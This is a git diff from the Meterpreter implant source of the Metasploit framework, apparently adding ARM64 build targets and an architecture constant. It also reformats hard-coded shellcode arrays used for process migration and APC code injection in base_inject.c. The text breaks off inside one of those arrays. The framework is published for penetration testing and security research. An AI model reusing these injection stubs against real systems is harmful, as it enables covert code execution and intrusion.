diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile index 178cc8e17..01c3bf4fa 100644 --- a/c/meterpreter/Makefile +++ b/c/meterpreter/Makefile @@ -3,11 +3,12 @@ DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest COMMON_GEN=-Wno-dev -DUSE_STATIC_MSVC_RUNTIMES=ON COMMON_GEN_X86=-DCMAKE_TOOLCHAIN_FILE=../toolsets/i686-w64-mingw32.cmake -DBUILD_ARCH=Win32 ${COMMON_GEN} COMMON_GEN_X64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/x86_64-w64-mingw32.cmake -DBUILD_ARCH=x64 ${COMMON_GEN} +COMMON_GEN_ARM64=-DCMAKE_TOOLCHAIN_FILE=../toolsets/aarch64-w64-mingw32.cmake -DBUILD_ARCH=ARM64 ${COMMON_GEN} COMMON_BUILD=--config Release all: meterpreter -clean: meterpreter-x64-clean meterpreter-x86-clean +clean: meterpreter-x64-clean meterpreter-x86-clean meterpreter-arm64-clean install: @cp -f output/*.dll ../../../metasploit-framework/data/meterpreter @@ -16,7 +17,22 @@ install: ### Build all ########################################################################################## -meterpreter: meterpreter-x86 meterpreter-x64 +meterpreter: meterpreter-x86 meterpreter-x64 meterpreter-arm64 + +meterpreter-arm64: meterpreter-arm64-gen meterpreter-arm64-build +meterpreter-arm64-gen: + @cmake -S workspace -B workspace/build/mingw-arm64 $(COMMON_GEN_ARM64) +meterpreter-arm64-build: + @cmake --build workspace/build/mingw-arm64 $(COMMON_BUILD) +meterpreter-arm64-clean: + @rm -rf workspace/build/mingw-arm64* && rm -rf output/*.arm64.dll +meterpreter-metsrv-arm64: meterpreter-metsrv-arm64-gen meterpreter-metsrv-arm64-build +meterpreter-metsrv-arm64-gen: + @cmake -S workspace -B workspace/build/mingw-arm64-metsrv -DBUILD_ALL=OFF -DBUILD_METSRV=ON $(COMMON_GEN_ARM64) +meterpreter-metsrv-arm64-build: + @cmake --build workspace/build/mingw-arm64-metsrv $(COMMON_BUILD) + +clean: meterpreter-x64-clean meterpreter-x86-clean meterpreter-arm64-clean meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index 957893f9b..1faf5160d 100644 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -1,136 +1,142 @@ -/*! - * @file common.h - * @brief Declarations for various common components used across the Meterpreter suite. - */ -#ifndef _METERPRETER_SOURCE_COMMON_COMMON_H -#define _METERPRETER_SOURCE_COMMON_COMMON_H - -/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */ -//#define DEBUGTRACE 0 - -#include -#include -#include - -#define SAFE_FREE(x) if(x){free(x);x=NULL;} - -#include -#include - -// Simple trick to get the current meterpreters arch -#define PROCESS_ARCH_UNKNOWN 0 -#define PROCESS_ARCH_X86 1 -#define PROCESS_ARCH_X64 2 -#define PROCESS_ARCH_IA64 3 - -#ifdef _WIN64 -#define dwMeterpreterArch PROCESS_ARCH_X64 -#else -#define dwMeterpreterArch PROCESS_ARCH_X86 -#endif - -#ifdef __MINGW32__ -#define ERROR_DBG_TERMINATE_THREAD 691L -#define ERROR_UNHANDLED_EXCEPTION 574L -#define ERROR_UNSUPPORTED_COMPRESSION 618L -#define ERROR_NOT_CAPABLE 775L -#define ERROR_NOTHING_TO_TERMINATE 778L -#define __try -#define __except(x) if(0) - -#undef GetExceptionCode -#define GetExceptionCode() 0 - -#undef GetExceptionInformation -#define GetExceptionInformation() NULL -#endif - -typedef struct __UNICODE_STRING -{ - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} _UNICODE_STRING, * _PUNICODE_STRING; - -typedef DWORD __u32; -typedef struct ___u128 { - __u32 a1; - __u32 a2; - __u32 a3; - __u32 a4; -}__u128; - -/* - * Avoid conflicts with Windows crypto API defines - */ -#undef OCSP_RESPONSE -#undef PKCS7_SIGNER_INFO -#undef X509_EXTENSIONS -#undef X509_CERT_PAIR -#undef X509_NAME - -#ifdef DEBUGTRACE -#include "common_logging.h" -#define dprintf(...) real_dprintf(__VA_ARGS__) -#define INIT_LOGGING(metConfig) init_logging(metConfig->session.log_path); -#define SET_LOGGING_CONTEXT(api) set_logging_context(api->logging.get_logging_context(), api->logging.get_lock()); -#if DEBUGTRACE == 1 -#define vdprintf dprintf -#else -#define vdprintf(...) do{}while(0); -#endif -#else -#define dprintf(...) do{}while(0); -#define vdprintf(...) do{}while(0); -#define SET_LOGGING_CONTEXT(...) -#define INIT_LOGGING(...) -#endif - -/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */ -#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } -/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */ -#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } -/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */ -#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } -/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */ -#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; } - -/*! @brief Close a service handle if not already closed and set the handle to NULL. */ -#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; } -/*! @brief Close a handle if not already closed and set the handle to NULL. */ -#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; } - -/*! - * @brief Output a debug string to the debug console. - * @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed - * using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_. - */ -static _inline void real_dprintf(char *format, ...) -{ - va_list args; - char buffer[1024]; - size_t len; - _snprintf_s(buffer, sizeof(buffer), sizeof(buffer)-1, "[%04x] ", GetCurrentThreadId()); - len = strlen(buffer); - va_start(args, format); - vsnprintf_s(buffer + len, sizeof(buffer)-len, sizeof(buffer)-len - 3, format, args); - strcat_s(buffer, sizeof(buffer), "\r\n"); - OutputDebugStringA(buffer); -#ifdef DEBUGTRACE - log_to_file(buffer); -#endif - va_end(args); -} - -#include "common_base.h" -#include "common_core.h" -#include "common_remote.h" -#include "common_channel.h" -#include "common_list.h" -#include "common_config.h" -#include "common_pivot_tree.h" -#include "common_thread.h" -#include "common_scheduler.h" -#include "common_command_ids.h" - -#endif +/*! + * @file common.h + * @brief Declarations for various common components used across the Meterpreter suite. + */ +#ifndef _METERPRETER_SOURCE_COMMON_COMMON_H +#define _METERPRETER_SOURCE_COMMON_COMMON_H + +/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */ +//#define DEBUGTRACE 0 + +#include +#include +#include + +#define SAFE_FREE(x) if(x){free(x);x=NULL;} + +// Minimum Windows Vista for inet_pton and modern APIs +#include +#ifdef _M_ARM64 +#include +#endif +#include + +// Simple trick to get the current meterpreters arch +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 +#define PROCESS_ARCH_ARM64 4 +#ifdef _M_ARM64 +#define dwMeterpreterArch PROCESS_ARCH_ARM64 +#elif defined(_WIN64) +#define dwMeterpreterArch PROCESS_ARCH_X64 +#else +#define dwMeterpreterArch PROCESS_ARCH_X86 +#endif + +#ifdef __MINGW32__ +#define ERROR_DBG_TERMINATE_THREAD 691L +#define ERROR_UNHANDLED_EXCEPTION 574L +#define ERROR_UNSUPPORTED_COMPRESSION 618L +#define ERROR_NOT_CAPABLE 775L +#define ERROR_NOTHING_TO_TERMINATE 778L +#define __try +#define __except(x) if(0) + +#undef GetExceptionCode +#define GetExceptionCode() 0 + +#undef GetExceptionInformation +#define GetExceptionInformation() NULL +#endif + +typedef struct __UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} _UNICODE_STRING, * _PUNICODE_STRING; + +typedef DWORD __u32; +typedef struct ___u128 { + __u32 a1; + __u32 a2; + __u32 a3; + __u32 a4; +}__u128; + +/* + * Avoid conflicts with Windows crypto API defines + */ +#undef OCSP_RESPONSE +#undef PKCS7_SIGNER_INFO +#undef X509_EXTENSIONS +#undef X509_CERT_PAIR +#undef X509_NAME + +#ifdef DEBUGTRACE +#include "common_logging.h" +#define dprintf(...) real_dprintf(__VA_ARGS__) +#define INIT_LOGGING(metConfig) init_logging(metConfig->session.log_path); +#define SET_LOGGING_CONTEXT(api) set_logging_context(api->logging.get_logging_context(), api->logging.get_lock()); +#if DEBUGTRACE == 1 +#define vdprintf dprintf +#else +#define vdprintf(...) do{}while(0); +#endif +#else +#define dprintf(...) do{}while(0); +#define vdprintf(...) do{}while(0); +#define SET_LOGGING_CONTEXT(...) +#define INIT_LOGGING(...) +#endif + +/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */ +#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } +/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */ +#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } +/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */ +#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; } +/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */ +#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; } + +/*! @brief Close a service handle if not already closed and set the handle to NULL. */ +#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; } +/*! @brief Close a handle if not already closed and set the handle to NULL. */ +#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; } + +/*! + * @brief Output a debug string to the debug console. + * @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed + * using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_. + */ +static _inline void real_dprintf(char *format, ...) +{ + va_list args; + char buffer[1024]; + size_t len; + _snprintf_s(buffer, sizeof(buffer), sizeof(buffer)-1, "[%04x] ", GetCurrentThreadId()); + len = strlen(buffer); + va_start(args, format); + vsnprintf_s(buffer + len, sizeof(buffer)-len, sizeof(buffer)-len - 3, format, args); + strcat_s(buffer, sizeof(buffer), "\r\n"); + OutputDebugStringA(buffer); +#ifdef DEBUGTRACE + log_to_file(buffer); +#endif + va_end(args); +} + +#include "common_base.h" +#include "common_core.h" +#include "common_remote.h" +#include "common_channel.h" +#include "common_list.h" +#include "common_config.h" +#include "common_pivot_tree.h" +#include "common_thread.h" +#include "common_scheduler.h" +#include "common_command_ids.h" + +#endif diff --git a/c/meterpreter/source/def/metsrv.def b/c/meterpreter/source/def/metsrv.def index d43434347..61cef93fa 100644 --- a/c/meterpreter/source/def/metsrv.def +++ b/c/meterpreter/source/def/metsrv.def @@ -1,3 +1,2 @@ -NAME server.dll EXPORTS ReflectiveLoader @1 NONAME PRIVATE diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 276128947..b568fb78c 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -8,169 +8,82 @@ // see '/msf/external/source/shellcode/windows/x86/src/migrate/executex64.asm' // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 // found and fixed by ReWolf, incorporated by RaMMicHaeL -BYTE migrate_executex64[] = {0x55,0x89,0xE5,0x56,0x57,0x8B,0x75,0x08,0x8B,0x4D,0x0C,0xE8,0x00,0x00,0x00,0x00 - ,0x58,0x83,0xC0,0x2B,0x83,0xEC,0x08,0x89,0xE2,0xC7,0x42,0x04,0x33,0x00,0x00,0x00 - ,0x89,0x02,0xE8,0x0F,0x00,0x00,0x00,0x66,0x8C,0xD8,0x66,0x8E,0xD0,0x83,0xC4,0x14 - ,0x5F,0x5E,0x5D,0xC2,0x08,0x00,0x8B,0x3C,0xE4,0xFF,0x2A,0x48,0x31,0xC0,0x57,0xFF - ,0xD6,0x5F,0x50,0xC7,0x44,0x24,0x04,0x23,0x00,0x00,0x00,0x89,0x3C,0x24,0xFF,0x2C - ,0x24}; +BYTE migrate_executex64[] = {0x55, 0x89, 0xE5, 0x56, 0x57, 0x8B, 0x75, 0x08, 0x8B, 0x4D, 0x0C, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x2B, 0x83, 0xEC, 0x08, 0x89, 0xE2, 0xC7, 0x42, 0x04, 0x33, 0x00, 0x00, 0x00, 0x89, 0x02, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x66, 0x8C, 0xD8, 0x66, 0x8E, 0xD0, 0x83, 0xC4, 0x14, 0x5F, 0x5E, 0x5D, 0xC2, 0x08, 0x00, 0x8B, 0x3C, 0xE4, 0xFF, 0x2A, 0x48, 0x31, 0xC0, 0x57, 0xFF, 0xD6, 0x5F, 0x50, 0xC7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x3C, 0x24, 0xFF, 0x2C, 0x24}; // see '/msf/external/source/shellcode/windows/x64/src/migrate/remotethread.asm' -BYTE migrate_wownativex[] = {0xFC,0x48,0x89,0xCE,0x48,0x89,0xE7,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00 - ,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48 - ,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A - ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9 - ,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C - ,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00 - ,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40 - ,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6 - ,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0 - ,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40 - ,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0 - ,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58 - ,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A - ,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF,0x5D,0x4D,0x31,0xC9,0x41,0x51,0x48,0x8D - ,0x46,0x18,0x50,0xFF,0x76,0x10,0xFF,0x76,0x08,0x41,0x51,0x41,0x51,0x49,0xB8,0x01 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xD2,0x48,0x8B,0x0E,0x41,0xBA,0xC8 - ,0x38,0xA4,0x40,0xFF,0xD5,0x48,0x85,0xC0,0x74,0x0C,0x48,0xB8,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0xEB,0x0A,0x48,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x48,0x83,0xC4,0x50,0x48,0x89,0xFC,0xC3}; +BYTE migrate_wownativex[] = {0xFC, 0x48, 0x89, 0xCE, 0x48, 0x89, 0xE7, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x48, 0x8D, 0x46, 0x18, 0x50, 0xFF, 0x76, 0x10, 0xFF, 0x76, 0x08, 0x41, 0x51, 0x41, 0x51, 0x49, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x48, 0x8B, 0x0E, 0x41, 0xBA, 0xC8, 0x38, 0xA4, 0x40, 0xFF, 0xD5, 0x48, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x0A, 0x48, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x50, 0x48, 0x89, 0xFC, 0xC3}; // see '/msf/external/source/shellcode/windows/x86/src/migrate/apc.asm' -BYTE apc_stub_x86[] = {0xFC,0x8B,0x74,0x24,0x04,0x55,0x89,0xE5,0xE8,0x89,0x00,0x00,0x00,0x60,0x89,0xE5 - ,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x0F - ,0xB7,0x4A,0x26,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF - ,0x0D,0x01,0xC7,0xE2,0xF0,0x52,0x57,0x8B,0x52,0x10,0x8B,0x42,0x3C,0x01,0xD0,0x8B - ,0x40,0x78,0x85,0xC0,0x74,0x4A,0x01,0xD0,0x50,0x8B,0x48,0x18,0x8B,0x58,0x20,0x01 - ,0xD3,0xE3,0x3C,0x49,0x8B,0x34,0x8B,0x01,0xD6,0x31,0xFF,0x31,0xC0,0xAC,0xC1,0xCF - ,0x0D,0x01,0xC7,0x38,0xE0,0x75,0xF4,0x03,0x7D,0xF8,0x3B,0x7D,0x24,0x75,0xE2,0x58 - ,0x8B,0x58,0x24,0x01,0xD3,0x66,0x8B,0x0C,0x4B,0x8B,0x58,0x1C,0x01,0xD3,0x8B,0x04 - ,0x8B,0x01,0xD0,0x89,0x44,0x24,0x24,0x5B,0x5B,0x61,0x59,0x5A,0x51,0xFF,0xE0,0x58 - ,0x5F,0x5A,0x8B,0x12,0xEB,0x86,0x5B,0x80,0x7E,0x10,0x00,0x75,0x3B,0xC6,0x46,0x10 - ,0x01,0x68,0xA6,0x95,0xBD,0x9D,0xFF,0xD3,0x3C,0x06,0x7C,0x1A,0x31,0xC9,0x64,0x8B - ,0x41,0x18,0x39,0x88,0xA8,0x01,0x00,0x00,0x75,0x0C,0x8D,0x93,0xCF,0x00,0x00,0x00 - ,0x89,0x90,0xA8,0x01,0x00,0x00,0x31,0xC9,0x51,0x51,0xFF,0x76,0x08,0xFF,0x36,0x51 - ,0x51,0x68,0x38,0x68,0x0D,0x16,0xFF,0xD3,0xC9,0xC2,0x0C,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00}; +BYTE apc_stub_x86[] = {0xFC, 0x8B, 0x74, 0x24, 0x04, 0x55, 0x89, 0xE5, 0xE8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xE5, 0x31, 0xD2, 0x64, 0x8B, 0x52, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0x0F, 0xB7, 0x4A, 0x26, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0, 0x52, 0x57, 0x8B, 0x52, 0x10, 0x8B, 0x42, 0x3C, 0x01, 0xD0, 0x8B, 0x40, 0x78, 0x85, 0xC0, 0x74, 0x4A, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x8B, 0x58, 0x20, 0x01, 0xD3, 0xE3, 0x3C, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xD6, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0x38, 0xE0, 0x75, 0xF4, 0x03, 0x7D, 0xF8, 0x3B, 0x7D, 0x24, 0x75, 0xE2, 0x58, 0x8B, 0x58, 0x24, 0x01, 0xD3, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x58, 0x1C, 0x01, 0xD3, 0x8B, 0x04, 0x8B, 0x01, 0xD0, 0x89, 0x44, 0x24, 0x24, 0x5B, 0x5B, 0x61, 0x59, 0x5A, 0x51, 0xFF, 0xE0, 0x58, 0x5F, 0x5A, 0x8B, 0x12, 0xEB, 0x86, 0x5B, 0x80, 0x7E, 0x10, 0x00, 0x75, 0x3B, 0xC6, 0x46, 0x10, 0x01, 0x68, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD3, 0x3C, 0x06, 0x7C, 0x1A, 0x31, 0xC9, 0x64, 0x8B, 0x41, 0x18, 0x39, 0x88, 0xA8, 0x01, 0x00, 0x00, 0x75, 0x0C, 0x8D, 0x93, 0xCF, 0x00, 0x00, 0x00, 0x89, 0x90, 0xA8, 0x01, 0x00, 0x00, 0x31, 0xC9, 0x51, 0x51, 0xFF, 0x76, 0x08, 0xFF, 0x36, 0x51, 0x51, 0x68, 0x38, 0x68, 0x0D, 0x16, 0xFF, 0xD3, 0xC9, 0xC2, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; // see '/msf/external/source/shellcode/windows/x64/src/migrate/apc.asm' -BYTE apc_stub_x64[] = {0xFC,0x80,0x79,0x10,0x00,0x0F,0x85,0x13,0x01,0x00,0x00,0xC6,0x41,0x10,0x01,0x48 - ,0x83,0xEC,0x78,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48 - ,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48 - ,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C - ,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41 - ,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B - ,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01 - ,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF - ,0xC9,0x41,0x8B,0x34,0x88,0x48,0x01,0xD6,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x41 - ,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0x38,0xE0,0x75,0xF1,0x4C,0x03,0x4C,0x24,0x08,0x45 - ,0x39,0xD1,0x75,0xD8,0x58,0x44,0x8B,0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C - ,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x41 - ,0x58,0x41,0x58,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,0x5A,0x48,0x83,0xEC,0x20 - ,0x41,0x52,0xFF,0xE0,0x58,0x41,0x59,0x5A,0x48,0x8B,0x12,0xE9,0x4F,0xFF,0xFF,0xFF - ,0x5D,0x48,0x31,0xD2,0x65,0x48,0x8B,0x42,0x30,0x48,0x39,0x90,0xC8,0x02,0x00,0x00 - ,0x75,0x0E,0x48,0x8D,0x95,0x07,0x01,0x00,0x00,0x48,0x89,0x90,0xC8,0x02,0x00,0x00 - ,0x4C,0x8B,0x01,0x4C,0x8B,0x49,0x08,0x48,0x31,0xC9,0x48,0x31,0xD2,0x51,0x51,0x41 - ,0xBA,0x38,0x68,0x0D,0x16,0xFF,0xD5,0x48,0x81,0xC4,0xA8,0x00,0x00,0x00,0xC3,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - ,0x00,0x00,0x00}; - +BYTE apc_stub_x64[] = {0xFC, 0x80, 0x79, 0x10, 0x00, 0x0F, 0x85, 0x13, 0x01, 0x00, 0x00, 0xC6, 0x41, 0x10, 0x01, 0x48, 0x83, 0xEC, 0x78, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 